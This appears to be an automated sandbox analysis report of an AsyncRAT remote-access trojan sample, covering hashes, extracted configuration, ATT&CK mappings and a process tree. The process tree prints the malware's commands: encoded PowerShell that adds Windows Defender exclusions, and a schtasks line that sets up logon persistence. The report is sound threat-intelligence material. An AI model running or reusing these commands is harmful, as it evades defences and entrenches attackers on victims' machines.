asyncrat | 2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9

General

Target

PEinstall.exe
Size

57KB
MD5

ea80d619808889ea8edb799056a67bc1
SHA1

de591d83c5e24498a294366205d0a12d2098385c
SHA256

2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9
SHA512

d7e43ccd9a2f4f0d959d49ddc089a90da4e7e00cde0480c849d5078cf6127d5a15f4229067170399e6722a574b43f2121f9cbc8b34768b844583adacaff07929
SSDEEP

1536:KERi5rR21kXfc3dLnUAfUgc2vZnmHYUTmu1ycX9D:3RV6EpUgcTmu1ycX9D

Score

10^/10

asyncrat default defense_evasion rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

127.0.0.1:2009

Mutex

jc1XWfeoz50P

Attributes

delay
10
install
true
install_file
executor.exe
install_folder
%Temp%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x001b00000002b1e3-20.dat	family_asyncrat

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4804	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
420	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\PEinstall.exe
"C:\Users\Admin\AppData\Local\Temp\PEinstall.exe"
1⤵
PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcgBmACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAYwBxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAcgBlACAAdwBhAHMAIABhAG4AIABlAHIAcgBvAHIAIABlAHgAZQBjAHUAdABpAG4AZwAgAHQAaABpAHMAIABwAHIAbwBnAHIAYQBtAC4AIABDAG8AbgB0AGEAYwB0ACAAdABoAGUAIABhAHUAdABoAG8AcgAgAGYAbwByACAAbQBvAHIAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAuACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB4AG0AYwAjAD4A"
  2⤵
  PID:860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAcQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAYQBzACMAPgA="
  2⤵
  PID:5336
- C:\Users\Admin\AppData\Roaming\PEInstaller.exe
  "C:\Users\Admin\AppData\Roaming\PEInstaller.exe"
  2⤵
  PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"' & exit
    3⤵
    PID:4732
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC60F.tmp.bat""
    3⤵
    PID:4736
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4804
  - - C:\Users\Admin\AppData\Local\Temp\executor.exe
      "C:\Users\Admin\AppData\Local\Temp\executor.exe"
      4⤵
      PID:3368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f0f33b5dc59d6998bdba6a65e602a1c

SHA1
80c26491daacdd38a1f174ea5a6be01532bc1da9

SHA256
a5e18203246fdf1199469165357bd5329f0e8f4a77282045c01a43cba0a7e2ed

SHA512
12027f852b46df30587773e35cd2e380a4876557b2b857dcbbbf3650e44c8c88e4c0ea085d125e5c19258d860e0a4bf27f48c7f0a9ec4181f03534df1d91ef4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jy5n0kzu.4xe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC60F.tmp.bat

Filesize
155B

MD5
a532116b7a65ab2f9a6dc096e4a11386

SHA1
abbf0676a80d08055d576a96722458af85b0b581

SHA256
3eba39914cb12930d662efbf5de0bbe514d7edbce220c71aeae79bf31e0de67b

SHA512
a07feade899175c89c755ec115c0f089a1b981225e7ded555895986a6f67837fdbd6db3cd2a0b573b2c5af54d20e41ec30ea844df06bfef7e1b103f32a91b73b

Download Submit
C:\Users\Admin\AppData\Roaming\PEInstaller.exe

Filesize
48KB

MD5
a96ef57452d73871dc1045b96fddcf96

SHA1
7a9b28306b0fc32d4281b756be5bc91f53234696

SHA256
2fd4684b115a4b607493596b7fba4d54ddc7d97aec1852fbd60d449f353c2902

SHA512
14db2977907baa98fe81f66fc0b44d360bee92d8b5e53527021fd9ef5f182e3aaa30e5e05ef95b0eac3d09b21074e89dee42c59d8a23b91a3dfa0c4871c3cd8e

Download Submit
memory/860-12-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/860-14-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/860-15-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/860-13-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/860-11-0x000001F5A3740000-0x000001F5A3762000-memory.dmp

Filesize
136KB

Download
memory/860-43-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/860-44-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/3040-45-0x00000000051E0000-0x0000000005246000-memory.dmp

Filesize
408KB

Download
memory/3040-46-0x0000000005620000-0x00000000056BC000-memory.dmp

Filesize
624KB

Download
memory/3040-37-0x0000000000730000-0x0000000000742000-memory.dmp

Filesize
72KB

Download
memory/4884-1-0x0000000000A40000-0x0000000000A54000-memory.dmp

Filesize
80KB

Download
memory/4884-2-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/4884-36-0x00007FFA906B0000-0x00007FFA91172000-memory.dmp

Filesize
10.8MB

Download
memory/4884-0-0x00007FFA906B3000-0x00007FFA906B5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads